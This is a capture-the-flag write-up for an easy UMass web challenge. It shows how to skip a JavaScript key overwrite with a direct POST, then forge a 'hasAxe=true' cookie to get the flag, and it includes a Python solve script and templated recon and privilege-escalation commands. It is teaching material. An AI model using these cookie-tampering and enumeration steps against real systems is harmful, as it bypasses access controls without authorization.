← Back to Writeups
HTBN/AWeb

BrOWSER BOSS FIGHT

XESXOR8/23/20263 min read
#web#htb#n/a

BrOWSER BOSS FIGHT

Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: client_side_validation_bypass, cookie_tampering, direct_post_request

Summary

Task: a web challenge hid progression behind inline JavaScript and client-controlled cookies. Solution: bypass the browser-side key overwrite with a direct POST, then tamper with the hasAxe cookie to reach the flag page.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umasscybersec | ID: 20260411_umasscybersec_browser_boss_fight
  • Tags: javascript, client_side_validation, access_control, cookies, state_tampering
  • Indicators: inline JavaScript rewrites the submitted secret before the request is sent, response headers leak a hidden password hint, access state is stored in client-controlled cookies such as hasAxe=false, page text contradicts the cookie value and suggests local state manipulation
  • Source: 20260411_umasscybersec_browser_boss_fight.md

Foothold

Vulnerability / Misconfiguration

  1. Client_side_validation_bypass
  2. Cookie_tampering
  3. Direct_post_request
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • client_side_validation_bypass
  • cookie_tampering
  • direct_post_request
  • Tags: javascript, client_side_validation, access_control, cookies, state_tampering

Original Writeup

<details><summary>Click to expand original content</summary>

BrOWSER BOSS FIGHT — UMass Cybersecurity CTF

Description

Organizer description was not preserved in the local task files.

English summary: the landing page presented a password form, but browser JavaScript silently replaced any submitted value with a fake key. After bypassing that behavior with a direct request, the second stage relied on a client-controlled cookie for authorization, which could also be tampered with to obtain the flag.

Analysis

The first page at / contained a form posting to /password-attempt. Recon also showed inline JavaScript that overwrote whatever the user entered with WEAK_NON_KOOPA_KNOCK before submission, so solving the challenge from the browser alone would always send the wrong secret.

The response headers exposed an additional clue: King Koopa, if you forget the key, check under_the_doormat!. That strongly suggested the real key was under_the_doormat, and the JavaScript was only a client-side obstacle.

Sending a direct POST request to /password-attempt with key=under_the_doormat bypassed the JavaScript entirely and granted access to /bowsers_castle.html. That page then set multiple cookies, including hasAxe=false.

The castle page text explained that Bowser had removed the axe, which is exactly the sort of state that should never be trusted when it is stored in a client-controlled cookie. Re-requesting /bowsers_castle.html with hasAxe=true changed the server response and returned the flag page.

The core lesson is simple: never trust client-side JavaScript or client-controlled cookies for access control. Anything enforced only in the browser can be bypassed, and any state stored on the client can be modified.

Solution

  1. Request / and inspect the HTML and headers.
  2. Notice the form posts to /password-attempt, but inline JavaScript rewrites the submitted key to WEAK_NON_KOOPA_KNOCK.
  3. Read the response header hint and recover the real key: under_the_doormat.
  4. Send a direct POST request to /password-attempt with key=under_the_doormat, bypassing the browser logic.
  5. Save the returned session cookies and open /bowsers_castle.html.
  6. Observe the cookie hasAxe=false and the page text implying that possession of the axe controls progression.
  7. Re-request /bowsers_castle.html with hasAxe=true.
  8. Receive the flag page.
#!/usr/bin/env python3
import re
import requests

BASE = "http://browser-boss-fight.web.ctf.umasscybersec.org:48003"
SESSION = requests.Session()

home = SESSION.get(f"{BASE}/", timeout=10)
home.raise_for_status()

print("[+] Saw password form:", "/password-attempt" in home.text)
print("[+] Hint header:", home.headers.get("Hint") or home.headers.get("hint") or "not found")

stage1 = SESSION.post(
    f"{BASE}/password-attempt",
    data={"key": "under_the_doormat"},
    timeout=10,
)
stage1.raise_for_status()

castle = SESSION.get(f"{BASE}/bowsers_castle.html", timeout=10)
castle.raise_for_status()
print("[+] Cookies after entry:", SESSION.cookies.get_dict())

SESSION.cookies.set("hasAxe", "true")
flag_page = SESSION.get(f"{BASE}/bowsers_castle.html", timeout=10)
flag_page.raise_for_status()

flag = re.search(r"UMASS\{[^}]+\}", flag_page.text)
print("[+] Flag:", flag.group(0) if flag else "not found")
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR